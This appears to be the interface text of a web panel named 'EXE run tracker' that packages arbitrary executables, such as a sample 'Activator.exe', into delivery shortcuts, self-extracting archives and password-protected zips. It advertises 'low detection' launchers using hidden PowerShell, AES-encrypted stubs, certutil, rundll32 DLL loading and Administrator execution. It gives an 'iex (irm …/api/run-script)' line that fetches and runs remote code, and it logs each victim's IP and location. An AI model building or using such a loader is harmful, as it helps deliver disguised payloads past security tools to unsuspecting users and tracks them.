EXE run tracker

Use a local path or https link to an .exe or a .zip archive. For .zip with Deliver as SFX, the server builds a self-extracting EXE that unpacks then runs rundll32 ExeRunMicro.dll,Run on the extract folder (so your ZIP entry exe, e.g. Activator.exe, is started by the DLL, not directly by the SFX). That needs 7zS.sfx or 7zSD.sfx from 7-Zip Extra next to server.js, 7z.exe, and a built ExeRunMicro\\ExeRunMicro.dll. Otherwise the launcher downloads to %TEMP%, extracts, runs the entry executable as Administrator, then deletes the temp folder. Optionally set a splash image (jpg/png). Browse… only picks the file name in a normal browser — a panel will ask you to paste the full path (Проводник: Shift+ПКМ → «Копировать как путь» / Explorer: Shift+Right-click → Copy as path).

Add watched program

Display name Local .exe path or https link

ZIP entry executable (only used when path ends in .zip) Deliver as self-extracting EXE (SFX) — local .zip only; requires 7z.exe, 7zS.sfx or 7zSD.sfx from 7-Zip Extra (7-zip.org → Extra, e.g. 7z920_extra.7z), and a built ExeRunMicro\\ExeRunMicro.dll (or EXE_RUN_MICRO_DLL). The SFX unpacks your ZIP then runs rundll32 ExeRunMicro.dll,Run on the extract folder so Activator.exe is started by the DLL, not by the SFX directly. Low detection LNK — rundll32 + ExeRunMicro.dll; local .zip only, not with SFX. Build ExeRunMicro\\ExeRunMicro.dll first (ExeRunMicro\\build.ps1). Server adds DLL + ert-entry.txt into the same archive as your ZIP entry EXE. Remix (SFX inside ZIP) — password-protected remix_*.zip with ActivatorSFX.exe, outer ExeRunMicroRemix.dll (not ExeRunMicro.dll), ert-entry.txt. Your chosen .zip may include its own ExeRunMicro.dll for inner bootstrap. Unpack under %APPDATA%; splash max ~10s in parallel with download; 7-Zip hidden extract. Install 7-Zip on clients. Optional splash image (local path or https, jpg/png)

New tracking key

Keep the key private. Runs and Static.json update on each real file download: /dl/SECRET/… or /api/download?key=… (same file). The .lnk runs a standalone PowerShell stub with AES-encrypted payload, then loads the run script and downloads via /dl/… — each launch counts once. Fetching /api/run-script alone does not count. Plain /api/track does not add runs by default.

— share this; each download logs country + IP (same structure as Static.json).
— iex (irm …/api/run-script?key=…); the script then downloads via /dl/… (that step counts), shows splash if set, runs the payload from %LOCALAPPDATA%\ExeRunTracker\….
— with SFX, Low detection LNK, or Remix: a real .lnk (?raw=1); otherwise a .zip containing the shortcut.
— same launcher as the .lnk but as a small .exe stub (needs assets/launcher-bootstrap-stub.exe on the server). With SFX / low-detect / Remix: raw .exe; otherwise a .zip with one .exe inside.
Low detection: hidden PowerShell uses certutil then Expand-Archive, then rundll32 ExeRunMicro.dll,Run on the temp folder (see ExeRunMicro\\README.txt). With SFX: shortcut downloads the launcher from /dl/… with -y -bd. Re-toggle SFX or change the zip to rebuild an existing launcher.
— saves under %LOCALAPPDATA%\ExeRunTracker\ (counts one run).

Watched programs

Runs = each GET /dl/… or GET /api/download?key=… that completes (including when the launcher downloads the file). /api/run-script is only instructions — it does not add a run. Runs shows country/IP. Refresh this tab to update totals.

Loading…

Recent runs

Time (UTC)	IP	Country	Location	Client / device	User-Agent

Country and city come from the caller’s public IP (GeoIP, approximate). VPNs and proxies show the exit location. Private/LAN IPs cannot be geolocated.